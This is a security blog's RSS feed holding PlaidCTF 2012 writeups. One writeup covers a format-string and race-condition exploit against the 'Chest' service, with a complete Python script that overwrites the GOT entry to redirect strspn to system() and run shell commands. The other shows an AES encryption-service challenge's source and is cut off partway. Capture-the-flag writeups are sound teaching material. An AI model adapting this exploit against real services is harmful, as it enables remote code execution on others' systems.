<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>codezen.fr</title>
	<atom:link href="http://codezen.fr/feed/" rel="self" type="application/rss+xml" />
	<link>http://codezen.fr</link>
	<description>code hacking, zen coding</description>
	<lastBuildDate>Thu, 03 May 2012 18:27:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>PlaidCTF 2012 &#8211; Pwnables 300 &#8211; Chest Writeup</title>
		<link>http://codezen.fr/2012/05/02/plaidctf-2012-pwnables-300-chest-writeup/</link>
		<comments>http://codezen.fr/2012/05/02/plaidctf-2012-pwnables-300-chest-writeup/#comments</comments>
		<pubDate>Wed, 02 May 2012 02:38:25 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[format]]></category>
		<category><![CDATA[got]]></category>
		<category><![CDATA[pctf2012]]></category>
		<category><![CDATA[pwnables]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=166</guid>
		<description><![CDATA[Robots are running secret service that aims to mill down diamonds into fairy dust, and use it to take over our world! Help us please! 23.22.1.14:1282 In this challenge we have a telnet interface to a nice chest that can store an item, remove an item or view the list of stored items. Welcome to [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Robots are running secret service that aims to mill down diamonds into fairy dust, and use it to take over our world! Help us please!<br />
23.22.1.14:1282
</p></blockquote>
<p>In this challenge we have a telnet interface to a nice chest that can store an item, remove an item or view the list of stored items.</p>
<blockquote><p>Welcome to the Adventurers' storage room!<br />
If you don't yet have a personal chest, you can use this one: XXXXFJ4bO1<br />
Which chest to you wish to access? [XXXXFJ4bO1]:<br />
Using chest XXXXFJ4bO1</p>
<p>What do you want to do?</p>
<p>[1] View items<br />
[2] Store an item<br />
[3] Take an item<br />
[4] Leave<br />
[5] Destroy the chest<br />
> Choose an option:</p></blockquote>
<p>After disassembling the binary, we see that there is a format string vulnerability in the "View items" function.</p>
<div class="codecolorer-container c default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="c codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; <span style="color: #b1b100;">do</span><br />
&nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; v0 <span style="color: #339933;">=</span> sub_8048C7B<span style="color: #009900;">&#40;</span>dword_804AC90<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>v2<span style="color: #339933;">,</span> <span style="color: #0000dd;">499</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; dprintf<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>v2<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #009900;">&#125;</span></div></div>
<p>The name of the item is used as format to dprintf. So easy right ? Not so fast...</p>
<p>There is a function that filter heavily user input based on a whitelist:</p>
<div class="codecolorer-container c default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="c codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; n <span style="color: #339933;">=</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/strspn.html"><span style="color: #000066;">strspn</span></a><span style="color: #009900;">&#40;</span>src<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&amp;-+ &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>The percent character is of course not whitelisted so we cannot send a format string.</p>
<p>To exploit this vulnerability, we need to combine it with another design conception error: when you connect to the service, you can input the name of the chest you want to open.</p>
<p>The error is that if you connect simultaneously 2 clients, ask both clients to open the same chest and use the destroy chest function in one client, the other client will malfunction in a very interesting way.</p>
<p>Rember this read loop for viewing the items ?</p>
<div class="codecolorer-container c default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="c codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; <span style="color: #b1b100;">do</span><br />
&nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; v0 <span style="color: #339933;">=</span> sub_8048C7B<span style="color: #009900;">&#40;</span>dword_804AC90<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>v2<span style="color: #339933;">,</span> <span style="color: #0000dd;">499</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; dprintf<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>v2<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #009900;">&#125;</span><br />
...<br />
<span style="color: #993333;">int</span> __cdecl sub_8048C7B<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> fd<span style="color: #339933;">,</span> <span style="color: #993333;">void</span> <span style="color: #339933;">*</span>a2<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> a3<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> a4<span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; <span style="color: #993333;">char</span> v4<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// al@3</span><br />
&nbsp; <span style="color: #993333;">char</span> v5<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// al@7</span><br />
&nbsp; <span style="color: #993333;">void</span> <span style="color: #339933;">*</span>buf<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// [sp+28h] [bp-10h]@1</span><br />
&nbsp; ssize_t v8<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// [sp+2Ch] [bp-Ch]@2</span><br />
<br />
&nbsp; buf <span style="color: #339933;">=</span> a2<span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #b1b100;">do</span><br />
&nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; v5 <span style="color: #339933;">=</span> a3<span style="color: #339933;">--</span> <span style="color: #339933;">!=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span>v5 <span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; v8 <span style="color: #339933;">=</span> read<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> buf<span style="color: #339933;">,</span> 1u<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// will return 0</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> v8 <span style="color: #339933;">!=</span> <span style="color: #0000dd;">1</span> <span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">// will pass</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> v8 <span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">// will not pass</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1320024593</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> buf <span style="color: #339933;">-</span> a2<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// will return buf left untouched!</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; v4 <span style="color: #339933;">=</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span>_BYTE <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>buf <span style="color: #339933;">==</span> a4<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; buf <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>buf <span style="color: #339933;">+</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span>v4 <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #b1b100;">return</span> buf <span style="color: #339933;">-</span> a2<span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>As you can see, as the chest has been destroyed, read() will fail to read anything and the function will return leaving the buffer untouched... untouched means with its previous content... and this function is also used to read the name of the item:</p>
<div class="codecolorer-container c default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="c codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; dprintf<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;&gt; Store what item? &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; src<span style="color: #009900;">&#91;</span>sub_8048C7B<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>src<span style="color: #339933;">,</span> <span style="color: #0000dd;">499</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">10</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span></div></div>
<p>So to exploit this we need:<br />
- Connect 2 clients<br />
- Choose the same chest in both clients<br />
- Destroy the chest using one client<br />
- With the client left, store an item with our format string vulnerability<br />
- List the chest content, this will trigger the format string<br />
- An additional action to get the flag (see below)</p>
<p>After reviewing my options, I noticed system() is already part of the GOT table so I will try to overwrite strspn's GOT entry so that an unfiltered string can be used as the system() parameter.</p>
<p>For this, I used hellman's highly recommended <a href="https://github.com/hellman/libformatstr" target="_blank">libformatstr</a> library which makes format string building very easy.</p>
<div class="codecolorer-container python default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span><br />
<span style="color: #808080; font-style: italic;"># -*- coding: latin-1 -*-</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">socket</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">re</span><br />
<span style="color: #ff7700;font-weight:bold;">from</span> libformatstr <span style="color: #ff7700;font-weight:bold;">import</span> FormatStr<br />
<br />
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">!=</span> <span style="color: #ff4500;">3</span>:<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>Usage:<span style="color: #000099; font-weight: bold;">\t</span>./chest.py [host] [port]'</span><br />
&nbsp; <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span><br />
<br />
host <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><br />
port <span style="color: #66cc66;">=</span> <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
<br />
s <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">socket</span>.<span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">AF_INET</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">socket</span>.<span style="color: black;">SOCK_STREAM</span><span style="color: black;">&#41;</span><br />
s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>host<span style="color: #66cc66;">,</span> port<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
<br />
fs <span style="color: #66cc66;">=</span> s.<span style="color: black;">makefile</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Client1 Banner1'</span><span style="color: #66cc66;">,</span> fs.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Client1 Banner2'</span><span style="color: #66cc66;">,</span> fs.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
chest <span style="color: #66cc66;">=</span> fs.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
regex <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">re</span>.<span style="color: #008000;">compile</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Using chest (.*)&quot;</span><span style="color: black;">&#41;</span><br />
r <span style="color: #66cc66;">=</span> regex.<span style="color: black;">search</span><span style="color: black;">&#40;</span>chest<span style="color: black;">&#41;</span><br />
chest <span style="color: #66cc66;">=</span> r.<span style="color: black;">groups</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Chest'</span><span style="color: #66cc66;">,</span> chest<br />
<br />
s2 <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">socket</span>.<span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">AF_INET</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">socket</span>.<span style="color: black;">SOCK_STREAM</span><span style="color: black;">&#41;</span><br />
s2.<span style="color: black;">connect</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>host<span style="color: #66cc66;">,</span> port<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
<br />
fs2 <span style="color: #66cc66;">=</span> s2.<span style="color: black;">makefile</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Client2 Banner1'</span><span style="color: #66cc66;">,</span> fs2.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Client2 Banner2'</span><span style="color: #66cc66;">,</span> fs2.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
s2.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'%s<span style="color: #000099; font-weight: bold;">\n</span>'</span> %chest<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
<br />
<span style="color: #808080; font-style: italic;"># destroy chest</span><br />
<span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: #66cc66;">,</span><span style="color: #ff4500;">9</span><span style="color: black;">&#41;</span>:<br />
&nbsp; fs.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'5<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #808080; font-style: italic;"># add item to chest</span><br />
<span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: #66cc66;">,</span><span style="color: #ff4500;">10</span><span style="color: black;">&#41;</span>:<br />
&nbsp; fs2.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
s2.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'2<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
fs2.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
addr <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">0x0804abf0</span> <span style="color: #808080; font-style: italic;"># strspn()</span><br />
got <span style="color: #66cc66;">=</span> <span style="color: black;">&#91;</span><span style="color: #ff4500;">0x08048796</span><span style="color: black;">&#93;</span> <span style="color: #808080; font-style: italic;"># system()</span><br />
p <span style="color: #66cc66;">=</span> FormatStr<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
p<span style="color: black;">&#91;</span>addr<span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> got<br />
<br />
payload <span style="color: #66cc66;">=</span> p.<span style="color: black;">payload</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">7</span><span style="color: #66cc66;">,</span> start_len<span style="color: #66cc66;">=</span><span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #808080; font-style: italic;"># we start the payload with a non-whitelisted char so that the NUL byte</span><br />
<span style="color: #808080; font-style: italic;"># is put at the beginning of the string</span><br />
s2.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'____'</span> + payload + <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Client2 Result Store'</span><span style="color: #66cc66;">,</span> fs2.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #808080; font-style: italic;"># view chest content</span><br />
<span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: #66cc66;">,</span><span style="color: #ff4500;">9</span><span style="color: black;">&#41;</span>:<br />
&nbsp; fs2.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
s2.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'1<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #808080; font-style: italic;"># strspn() is now system()</span><br />
<span style="color: #808080; font-style: italic;"># fd 4 is our socket</span><br />
s2.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'ls -la&gt;&amp;4 ; cat key&gt;&amp;4<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #ff4500;">1</span>:<br />
&nbsp; line <span style="color: #66cc66;">=</span> s2.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">4096</span><span style="color: black;">&#41;</span><br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> line:<br />
&nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">break</span><br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Client2 Received'</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">repr</span><span style="color: black;">&#40;</span>line<span style="color: black;">&#41;</span><br />
<br />
<span style="color: #dc143c;">sys</span>.<span style="color: black;">stdout</span>.<span style="color: black;">flush</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
s2.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></div></div>
<p>Running our exploit we get (some garbage removed from the beginning):</p>
<blockquote><p>
total 28<br />
drwxr-xr-x 2 root root 4096 Apr 28 04:36 .<br />
drwxr-xr-x 3 root root 4096 Apr 27 19:27 ..<br />
-rwxr-xr-x 1 root root 8564 Apr 27 19:27 chest<br />
lrwxrwxrwx 1 root root    3 Apr 28 04:36 flag -> key<br />
-rw-r--r-- 1 root root   24 Apr 27 03:48 key<br />
-rwxr-xr-x 1 root root   41 Apr 27 19:27 start.sh<br />
lemons_are_in_the_chest
</p></blockquote>
<p>The key is: lemons_are_in_the_chest</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fcodezen.fr%2F2012%2F05%2F02%2Fplaidctf-2012-pwnables-300-chest-writeup%2F&amp;title=PlaidCTF%202012%20%E2%80%93%20Pwnables%20300%20%E2%80%93%20Chest%20Writeup" id="wpa2a_2"><img src="http://codezen.fr/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2012/05/02/plaidctf-2012-pwnables-300-chest-writeup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PlaidCTF 2012 &#8211; Password Guessing 300 &#8211; Encryption Service Writeup</title>
		<link>http://codezen.fr/2012/05/01/plaidctf-2012-password-guessing-300-encryption-service-writeup/</link>
		<comments>http://codezen.fr/2012/05/01/plaidctf-2012-password-guessing-300-encryption-service-writeup/#comments</comments>
		<pubDate>Tue, 01 May 2012 17:44:59 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[aes]]></category>
		<category><![CDATA[Crypto]]></category>
		<category><![CDATA[pctf2012]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=158</guid>
		<description><![CDATA[We found the source code for this robot encryption service, except the key was redacted from it. The service is currently running at 23.21.15.166:4433 #!/usr/bin/python import os import struct import SocketServer from Crypto.Cipher import AES ENCRYPT_KEY = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'.decode&#40;'hex'&#41; # Character set: lowercase letters and underscore PROBLEM_KEY = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxx' BLOCK_SIZE = 16 def pad&#40;data, blocksize&#41;: &#160; [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>We found the source code for this robot encryption service, except the key was redacted from it. The service is currently running at 23.21.15.166:4433</p></blockquote>
<div class="codecolorer-container python default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">struct</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">SocketServer</span><br />
<span style="color: #ff7700;font-weight:bold;">from</span> Crypto.<span style="color: black;">Cipher</span> <span style="color: #ff7700;font-weight:bold;">import</span> AES<br />
<br />
ENCRYPT_KEY <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'</span>.<span style="color: black;">decode</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'hex'</span><span style="color: black;">&#41;</span><br />
<span style="color: #808080; font-style: italic;"># Character set: lowercase letters and underscore</span><br />
PROBLEM_KEY <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'xxxxxxxxxxxxxxxxxxxxxxxxxxxxx'</span><br />
<br />
BLOCK_SIZE <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">16</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">def</span> pad<span style="color: black;">&#40;</span>data<span style="color: #66cc66;">,</span> blocksize<span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; l <span style="color: #66cc66;">=</span> blocksize - <span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span> % blocksize<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">return</span> data + <span style="color: #008000;">chr</span><span style="color: black;">&#40;</span>l<span style="color: black;">&#41;</span> * l<br />
<br />
<span style="color: #ff7700;font-weight:bold;">def</span> encrypt<span style="color: black;">&#40;</span>data<span style="color: #66cc66;">,</span> iv<span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; aes <span style="color: #66cc66;">=</span> AES.<span style="color: #dc143c;">new</span><span style="color: black;">&#40;</span>ENCRYPT_KEY<span style="color: #66cc66;">,</span> AES.<span style="color: black;">MODE_CBC</span><span style="color: #66cc66;">,</span> iv<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">return</span> aes.<span style="color: black;">encrypt</span><span style="color: black;">&#40;</span>pad<span style="color: black;">&#40;</span>data<span style="color: #66cc66;">,</span> BLOCK_SIZE<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">class</span> ProblemHandler<span style="color: black;">&#40;</span><span style="color: #dc143c;">SocketServer</span>.<span style="color: black;">StreamRequestHandler</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">def</span> handle<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; iv <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">urandom</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">16</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">self</span>.<span style="color: black;">wfile</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span>iv<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #008000;">True</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data <span style="color: #66cc66;">=</span> <span style="color: #008000;">self</span>.<span style="color: black;">rfile</span>.<span style="color: black;">read</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> data:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">break</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">try</span>:<br />
